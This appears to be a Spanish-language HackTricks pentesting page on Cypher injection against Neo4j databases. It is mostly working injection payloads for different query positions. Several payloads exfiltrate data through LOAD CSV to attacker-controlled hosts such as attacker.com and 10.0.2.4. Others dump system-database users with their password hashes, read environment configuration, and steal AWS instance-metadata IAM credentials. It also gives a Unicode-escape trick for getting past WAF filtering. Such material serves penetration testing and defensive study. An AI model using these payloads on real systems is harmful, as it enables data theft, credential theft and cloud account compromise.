hacktricks/pentesting-web/sql-injection/cypher-injection-neo4j.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

17 KiB
Raw Blame History

Inyección de Cypher (neo4j)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Inyecciones comunes de Cypher

Las declaraciones MATCH y WHERE son escenarios comunes.

Cuando hemos encontrado una inyección, la forma de explotarla depende de la ubicación dentro de la consulta. A continuación se muestra una tabla de diferentes ubicaciones de inyección y ejemplos de explotación:

Consulta inyectable Inyección
MATCH (o) WHERE o.Id='{input}' ' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //

MATCH (o) WHERE '{input}' = o.Id
MATCH (o) WHERE {input} in [diferentes, valores]

'=' {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:{input} a {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:`{input}` a` {...} WITH 0 as _l00 RETURN 1 //
MATCH (o {id:'{input}'}) '}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //
MATCH (o:{input}) a) RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o:`{input}`) a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r {id:'{input}'})]-(o2) '}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o)-[r:{input}]-(o2) a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r:`{input}`]-(o2) a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //

Ten en cuenta la declaración UNION:

  1. La razón por la que se requiere UNION es que si la declaración MATCH no devuelve nada, el resto de la consulta no se ejecutará. Por lo tanto, todas las cosas maliciosas que podríamos hacer allí simplemente no se ejecutarán.
  2. Agregamos "RETURN 1" antes de UNION para que ambas partes devuelvan las mismas columnas, lo que es necesario para que se ejecute la consulta.

Entonces, ¿qué pasa con la declaración "WITH"?

Usando WITH, podemos eliminar todas las variables existentes. Esto es importante cuando no sabemos cuál es la consulta (más sobre eso más adelante). Si nuestra carga útil intenta establecer una variable que ya existe por accidente, la consulta no se ejecutará.

Naturalmente, si conocemos la consulta y la base de datos, ninguna de estas técnicas es necesaria. Incluso podemos manipular los datos devueltos para manipular el proceso en lugar de simplemente abusar del servidor.

Exfiltración HTTP

Es posible utilizar el siguiente método para exfiltrar información al dominio controlado por el atacante:

LOAD CSV FROM 'https://attacker.com/'

Por ejemplo

// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o

// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 

APOC

Lo primero que un atacante debe verificar es si APOC está instalado. APOC (procedimientos impresionantes en Cypher) es un plugin extremadamente popular, oficialmente soportado por Neo4j que mejora en gran medida sus capacidades. APOC agrega muchas funciones y procedimientos adicionales que los desarrolladores pueden usar en su entorno. Los atacantes pueden usar los diversos procedimientos y funciones que ofrece APOC para llevar a cabo ataques más avanzados.

Procedimientos para procesar datos y enviar solicitudes HTTP

  • apoc.convert.toJson — convierte nodos, mapas y más a JSON
  • apoc.text.base64Encode — obtiene una cadena y la codifica en base64

Es posible establecer encabezados y enviar otros métodos que no sean GET. Ejemplos:

{% code overflow="wrap" %}

CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value 

CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list 

{% endcode %}

Procedimientos para evaluar consultas

  • apoc.cypher.runFirstColumnMany - una función que devuelve los valores de la primera columna como una lista
  • apoc.cypher.runFirstColumnSingle - una función que devuelve el primer valor de la primera columna
  • apoc.cypher.run - un procedimiento que ejecuta una consulta y devuelve los resultados como un mapa
  • apoc.cypher.runMany - un procedimiento que ejecuta una consulta o varias consultas separadas por un punto y coma y devuelve los resultados como un mapa. Las consultas se ejecutan en una transacción diferente.

Extrayendo información

Versión del servidor

Una forma de obtener la versión del servidor es utilizar el procedimiento dbms.components()

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

{% endcode %}

Obtener la consulta en ejecución

La forma más sencilla es utilizar el procedimiento dmbs.listQueries().

' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 // 

{% endcode %}

En Neo4j 5 se eliminó dbms.listQueries. En su lugar, podemos usar "SHOW TRANSACTIONS". Hay dos limitaciones importantes: las consultas SHOW no son inyectables y, a diferencia de listQueries, solo podemos ver la consulta actualmente ejecutada en la transacción y no todas ellas.

Si se instala el núcleo de APOC, podemos usarlo para ejecutar SHOW TRANSACTIONS. Si lo ejecutamos en la misma transacción, solo se devolverán SHOW TRANSACTIONS en lugar de la consulta que estamos intentando ver. Podemos usar apoc.cypher.runMany para ejecutar SHOW TRANSACTIONS, porque a diferencia de otras funciones y procedimientos de apoc.cypher, se ejecuta en una transacción diferente.

' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//

{% endcode %}

Obtener etiquetas

Usando el método integrado db.labels, es posible listar todas las etiquetas existentes.

'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0 

{% endcode %}

Obtener propiedades de una clave

La función integrada keys se puede utilizar para listar las claves de las propiedades (Esto no funcionará si uno de los campos es una lista o un mapa).

' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

{% endcode %}

Si APOC está disponible, hay una mejor manera de hacerlo usando apoc.convert.toJson

' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 // 

Obtener funciones y procedimientos

Utilizando los procedimientos integrados dbms.functions() y dbms.procedures() es posible listar todas las funciones y procedimientos.

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

{% endcode %}

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 

{% endcode %}

Estos procedimientos fueron eliminados en Neo4j 5. En su lugar, podemos usar SHOW PROCEDURES y SHOW FUNCTIONS. Las consultas SHOW no pueden ser inyectadas.

Si se ha instalado APOC core, podemos usar cualquiera de los procedimientos o funciones que ejecutan consultas para listar funciones y procedimientos.

' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value 
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 // 

Obtener la base de datos del sistema

La base de datos del sistema es una base de datos especial de Neo4j que normalmente no se puede consultar. Contiene datos interesantes almacenados como nodos:

  • Bases de datos
  • Roles
  • Usuarios (¡incluyendo el hash de la contraseña!)

Usando APOC, es posible recuperar los nodos, incluyendo los hashes. Solo los administradores pueden hacer esto, pero en la edición gratuita de Neo4j, solo hay un usuario administrador y no hay otros usuarios, por lo que no es raro encontrarse ejecutando como administrador.

Use el procedimiento apoc.systemdb.graph() para recuperar los datos.

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a  call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //  

{% endcode %}

Neo4j utiliza SimpleHash de Apache Shiro para generar el hash.

El resultado se almacena como una cadena de valores separados por comas:

  • Algoritmo de hash
  • Hash
  • Sal
  • Iteraciones

Por ejemplo:

SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024 

Obtener variables de entorno

Usando APOC, es posible recuperar la variable de entorno utilizando el procedimiento apoc.config.map() o apoc.config.list().

Estos procedimientos solo se pueden utilizar si se incluyen en la lista de procedimientos no restringidos en el archivo de configuración (dbms.security.procedures.unrestricted). Esto es más común de lo que se piensa, y al buscar el nombre de la configuración en Google, se obtienen muchos sitios y guías que aconsejan agregar el valor "apoc.*", lo que permite todos los procedimientos de APOC.

' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 // 

Nota: en Neo4j5 los procedimientos se movieron a APOC extendido.

Punto de conexión de metadatos de la nube AWS

IMDSv1

{% code overflow="wrap" %}

LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
  
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _ 

IMDSv2

Es necesario especificar encabezados y utilizar métodos distintos a GET.

LOAD CSV no puede hacer ninguna de estas cosas, pero podemos usar apoc.load.csvParams para obtener el token y el rol, y luego apoc.load.jsonParams para obtener las credenciales en sí. La razón por la que usamos csvParams es que la respuesta no es un JSON válido.

{% endcode %}

CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token 

CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role  

CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value 

{% endcode %}

Contactar directamente con la API de AWS

{% code overflow="wrap" %}

CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list 

{% endcode %}

Bypass de WAF

Inyección Unicode

En Neo4j >= v4.2.0, a menudo es posible inyectar Unicode usando "\uXXXX". Por ejemplo, puedes usar este método si el servidor intenta eliminar caracteres como: , ", ` y así sucesivamente.

Esto puede no funcionar si una letra sigue a la secuencia de escape Unicode. Es seguro agregar un espacio después o otra notación Unicode.

Por ejemplo, si el servidor elimina comillas simples, y la consulta se ve así:

MATCH (a: {name: '$INPUT'}) RETURN a 

Es posible realizar una inyección de:

{% code overflow="wrap" %}

\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o // 

{% endcode %}

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥